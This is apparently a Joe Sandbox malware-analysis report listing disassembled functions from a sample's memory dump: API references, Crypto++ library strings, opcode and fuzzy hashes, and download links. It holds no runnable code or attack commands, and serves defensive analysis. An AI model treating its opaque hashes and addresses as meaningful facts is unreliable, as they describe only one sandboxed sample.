Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8Throw
String ID: exceeds the maximum of $ is less than the minimum of $: IV length
API String ID: 2005118841-1273958906
Opcode ID: c9d7afb0fb53a906cae62cc7d80d53d0a359ad5bde8d9d038e379099c78fc146
Instruction ID: 364eda9a5c6a7d74b72b5366060443c6a13bc0302d1dac1f3a3771f9fe3bb162
Opcode Fuzzy Hash: c9d7afb0fb53a906cae62cc7d80d53d0a359ad5bde8d9d038e379099c78fc146
Instruction Fuzzy Hash: E4616475108380AFD321DBA8C884FDFB7E9BF99344F104A1DE59987292DB75A904C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A4D90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0A4DA9

Part of subcall function 6F109125: std::exception::exception.LIBCMT ref: 6F10913A
Part of subcall function 6F109125: __CxxThrowException@8.LIBCMT ref: 6F10914F
Part of subcall function 6F109125: std::exception::exception.LIBCMT ref: 6F109160

std::_Xinvalid_argument.LIBCPMT ref: 6F0A4DCA
std::_Xinvalid_argument.LIBCPMT ref: 6F0A4DE5

Strings

string too long, xrefs: 6F0A4DC5, 6F0A4DE0
invalid string position, xrefs: 6F0A4DA4

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw
String ID: invalid string position$string too long
API String ID: 4225265588-4289949731
Opcode ID: 10450050f5e6c7247804047ed8604117a5d58ca80a0325bfe893595088370e98
Instruction ID: 06e49614e7f557d11177a48000493f122249d7be4c9b1c9e67704514ece16b60
Opcode Fuzzy Hash: 10450050f5e6c7247804047ed8604117a5d58ca80a0325bfe893595088370e98
Instruction Fuzzy Hash: D9318B3A3042109BD714DEACE890B5AF3E6BF95764F10062FE551CB291DB72E8508791

Uniqueness

Uniqueness Score: -1.00%

Function 061B0F14 Relevance: 7.7, Strings: 6, Instructions: 201COMMON

Download Yara Rule

Strings

HERE, xrefs: 061B1086
p<{q, xrefs: 061B1177
p<{q, xrefs: 061B112C
HERE, xrefs: 061B0F6F
LOOK, xrefs: 061B1081
LOOK, xrefs: 061B0F6A

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: HERE$HERE$LOOK$LOOK$p<{q$p<{q
API String ID: 0-1229034622
Opcode ID: 66fb2345121f81cc1f67d67feb2872002be4bca6605824818c7a662b7cb72a86
Instruction ID: a87cf2816a3781966ba65e5d116acb3fdde7570ea9835622b912c78e897d95ef
Opcode Fuzzy Hash: 66fb2345121f81cc1f67d67feb2872002be4bca6605824818c7a662b7cb72a86
Instruction Fuzzy Hash: 4AA1A274E002299FDBA8DF68C995BE9B7B1BB58300F1585E9D50DAB360DB309E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D1D50 Relevance: 7.6, APIs: 5, Instructions: 144timesleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(F3D820D6), ref: 6F0D1D91
timeGetTime.WINMM(F3D820D6), ref: 6F0D1D9F
timeGetTime.WINMM ref: 6F0D1DBB
timeGetTime.WINMM ref: 6F0D1DC9
Sleep.KERNEL32(00000032), ref: 6F0D1DDC

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Timetime$Sleep
String ID:
API String ID: 4176159691-0
Opcode ID: d3a71cac558f1027b7484235ced692c8a055059ab0150bd8be2ad067304e1496
Instruction ID: b9420e074b55f33da45e9cb1ee16c768ca312472e0906853b890d86b7b42d254
Opcode Fuzzy Hash: d3a71cac558f1027b7484235ced692c8a055059ab0150bd8be2ad067304e1496
Instruction Fuzzy Hash: CA51B0B1D043449FEB11EFA8D881B9D7BF4BB45394F50856EE808EB380DB71A958CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B6D40 Relevance: 7.6, APIs: 5, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

_rand.LIBCMT ref: 6F0B6DEA

Part of subcall function 6F109E0C: __getptd.LIBCMT ref: 6F109E0C

std::exception::exception.LIBCMT ref: 6F0B6E17
__CxxThrowException@8.LIBCMT ref: 6F0B6E2C
std::exception::exception.LIBCMT ref: 6F0B6E3B
__CxxThrowException@8.LIBCMT ref: 6F0B6E50

Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C04
Part of subcall function 6F109BB5: std::exception::exception.LIBCMT ref: 6F109C1E
Part of subcall function 6F109BB5: __CxxThrowException@8.LIBCMT ref: 6F109C2F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$__getptd_malloc_rand
String ID:
API String ID: 2791304714-0
Opcode ID: a05724f3847089d8aa5a0f06c993db6506cfd918802c7114a1de4a636874697b
Instruction ID: 1159f933aacd600cff1de2001cd33fd09b4029c658ae5fbfa65c6de767bd799d
Opcode Fuzzy Hash: a05724f3847089d8aa5a0f06c993db6506cfd918802c7114a1de4a636874697b
Instruction Fuzzy Hash: 145118B2900748AFC710DF59C890A9AFBF4FB09354F408A6EE85A97B41D775F914CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B7750 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?), ref: 6F0B7761
LeaveCriticalSection.KERNEL32(00000000,?), ref: 6F0B7782
EnterCriticalSection.KERNEL32(00000018), ref: 6F0B7796
LeaveCriticalSection.KERNEL32(00000018), ref: 6F0B77CE
QueueUserWorkItem.KERNEL32(6F0D1D50,00000000,00000010), ref: 6F0B780C

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ItemQueueUserWork
String ID:
API String ID: 584243675-0
Opcode ID: d2ee478ab488556c52539559ec6e7263cdf95f731212c91d2a61a6a861bab5d9
Instruction ID: 48b7ffd09242ea0497d69dcb6a34bdd6e7ef297d4a290b95a805eb5688583b05
Opcode Fuzzy Hash: d2ee478ab488556c52539559ec6e7263cdf95f731212c91d2a61a6a861bab5d9
Instruction Fuzzy Hash: 6C216B71541608AFDB10CFA4D944BDABBF8FB45350F40855EE85687641DB32F688CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6F10F03B Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6F10F047

Part of subcall function 6F10EAE6: __getptd_noexit.LIBCMT ref: 6F10EAE9
Part of subcall function 6F10EAE6: __amsg_exit.LIBCMT ref: 6F10EAF6

__amsg_exit.LIBCMT ref: 6F10F067
__lock.LIBCMT ref: 6F10F077
InterlockedDecrement.KERNEL32(?), ref: 6F10F094
InterlockedIncrement.KERNEL32(05DE1608), ref: 6F10F0BF

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 3456ebd8b1c653e810f3a936850774f5506f98740f080fb3d5d3bd2215e91fa3
Instruction ID: 85d546aece2017eb8f3ebc913dee7e33d62142d81465aff11ca2184353e87749
Opcode Fuzzy Hash: 3456ebd8b1c653e810f3a936850774f5506f98740f080fb3d5d3bd2215e91fa3
Instruction Fuzzy Hash: D501A931901B21ABDB12BB65880679E7762FF457E4F100146E824A76C8CF25B8B5CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 6F10F7BC Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6F10F7C8

Part of subcall function 6F10EAE6: __getptd_noexit.LIBCMT ref: 6F10EAE9
Part of subcall function 6F10EAE6: __amsg_exit.LIBCMT ref: 6F10EAF6

__getptd.LIBCMT ref: 6F10F7DF
__amsg_exit.LIBCMT ref: 6F10F7ED
__lock.LIBCMT ref: 6F10F7FD
__updatetlocinfoEx_nolock.LIBCMT ref: 6F10F811

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 88bae4514f4de085736d94cc1059359228156b541c0d6f8929d6cb063466c361
Instruction ID: 80b7ba0932b9eb7058041092977e0892572634b5e47dfedb4d2a092833928a76
Opcode Fuzzy Hash: 88bae4514f4de085736d94cc1059359228156b541c0d6f8929d6cb063466c361
Instruction Fuzzy Hash: 18F0B4329447109BE721BB799406B8D33A0BF447E8F21411AE820A72C0DF247575DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A2090 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

__CxxThrowException@8.LIBCMT ref: 6F0A211F

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A4067

__CxxThrowException@8.LIBCMT ref: 6F0A21BF

Strings

PK_MessageAccumulator: DigestSize() should not be called, xrefs: 6F0A20BD
PK_MessageAccumulator: TruncatedFinal() should not be called, xrefs: 6F0A215D

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise
String ID: PK_MessageAccumulator: DigestSize() should not be called$PK_MessageAccumulator: TruncatedFinal() should not be called
API String ID: 4088727247-1268710280
Opcode ID: c1f480a75ab909439a7b1f0da0f95199799199534808029feff6ede98cbe606d
Instruction ID: defa82f6dce55cbbb6d49fbbc26cf20fc2608eba8d09376ad9c40b47f7f4baf1
Opcode Fuzzy Hash: c1f480a75ab909439a7b1f0da0f95199799199534808029feff6ede98cbe606d
Instruction Fuzzy Hash: 73414874C0438CAECB05DFE9D890BEDFBB8BB19394F50422AE421B7291DB752658CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A1D30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

__CxxThrowException@8.LIBCMT ref: 6F0A1DC9

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Part of subcall function 6F0A4010: std::_Xinvalid_argument.LIBCPMT ref: 6F0A4067

__CxxThrowException@8.LIBCMT ref: 6F0A1E74

Strings

CryptoMaterial: this object contains invalid values, xrefs: 6F0A1E16
BufferedTransformation: this object is not attachable, xrefs: 6F0A1D67

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise
String ID: BufferedTransformation: this object is not attachable$CryptoMaterial: this object contains invalid values
API String ID: 4088727247-3853263434
Opcode ID: a11c6c8591d8e99e583294e86bf5f5df6a7eef75360830a448bf23e4dde8bf62
Instruction ID: 5139fa854cd4cd91f7c5f37ab5925e9a42e610b46f7b366846ac32fd9d2803df
Opcode Fuzzy Hash: a11c6c8591d8e99e583294e86bf5f5df6a7eef75360830a448bf23e4dde8bf62
Instruction Fuzzy Hash: AC416D74C04288AFCB04DFE9D890BDEFBB8FF08354F10826AE425A7291DB356614CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0A4010 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0A402A

Part of subcall function 6F109125: std::exception::exception.LIBCMT ref: 6F10913A
Part of subcall function 6F109125: __CxxThrowException@8.LIBCMT ref: 6F10914F
Part of subcall function 6F109125: std::exception::exception.LIBCMT ref: 6F109160

std::_Xinvalid_argument.LIBCPMT ref: 6F0A4067

Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F1090ED
Part of subcall function 6F1090D8: __CxxThrowException@8.LIBCMT ref: 6F109102
Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F109113

Strings

string too long, xrefs: 6F0A4062
invalid string position, xrefs: 6F0A4025

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 184174657cad547ac21e39698db560c847189dfdf2d0d90ab241c50db402b345
Instruction ID: b747846cf0615e4d3ba165133ef8e2a3dbd30ec0aee4606f7d5d985a6f3b778b
Opcode Fuzzy Hash: 184174657cad547ac21e39698db560c847189dfdf2d0d90ab241c50db402b345
Instruction Fuzzy Hash: 8931B83A304210ABD7209E9CEC90F5AF7E9FB95665F20092FF151CB292DF7398609791

Uniqueness

Uniqueness Score: -1.00%

Function 6F0D6480 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6F0D6518

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

__CxxThrowException@8.LIBCMT ref: 6F0D6558

Strings

Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 6F0D64E7
Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 6F0D6527

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
API String ID: 3476068407-3345525433
Opcode ID: de7a2c1685e99cace5a617a9ed89c94d2bd28b6765fd6bbdc29cea539792dec8
Instruction ID: aac7e398ea55330681fa0c02aa4ebdf9a2bbf27e89e54e70dee05a9d253f0690
Opcode Fuzzy Hash: de7a2c1685e99cace5a617a9ed89c94d2bd28b6765fd6bbdc29cea539792dec8
Instruction Fuzzy Hash: B121C071518380AFD724EF74C944F9BB3E8BF86698F404A2DF585832C5EB35A158CA63

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B5160 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6F0B5173

Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F1090ED
Part of subcall function 6F1090D8: __CxxThrowException@8.LIBCMT ref: 6F109102
Part of subcall function 6F1090D8: std::exception::exception.LIBCMT ref: 6F109113

_memmove.LIBCMT ref: 6F0B519E

Strings

vector<T> too long, xrefs: 6F0B516E
n/o, xrefs: 6F0B5163, 6F0B51BD

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: n/o$vector<T> too long
API String ID: 1785806476-2123610845
Opcode ID: b6305c4e5987edf0bf0bb64acdd0c82110a6c61ddc8ea3e3e064c002d854245a
Instruction ID: 08bdf6785f7cdfaf8ad8a1511481023e444fe1582181539b2d9fc3bc938518d5
Opcode Fuzzy Hash: b6305c4e5987edf0bf0bb64acdd0c82110a6c61ddc8ea3e3e064c002d854245a
Instruction Fuzzy Hash: 62014FB16002099FD728DEA8CCA196AB3E9EB54254754492DE85AC3788EB32F910CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C5380 Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::exception::exception.LIBCMT ref: 6F0C5488
__CxxThrowException@8.LIBCMT ref: 6F0C549F
std::exception::exception.LIBCMT ref: 6F0C5581

Part of subcall function 6F109533: std::exception::_Copy_str.LIBCMT ref: 6F10954E

__CxxThrowException@8.LIBCMT ref: 6F0C5598

Part of subcall function 6F10AC75: RaiseException.KERNEL32(?,?,6F109C34,F3D820D6,?,?,?,?,6F109C34,F3D820D6,6F139C90,6F14B974,F3D820D6), ref: 6F10ACB7

Part of subcall function 6F0D3690: _memset.LIBCMT ref: 6F0D36E3

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
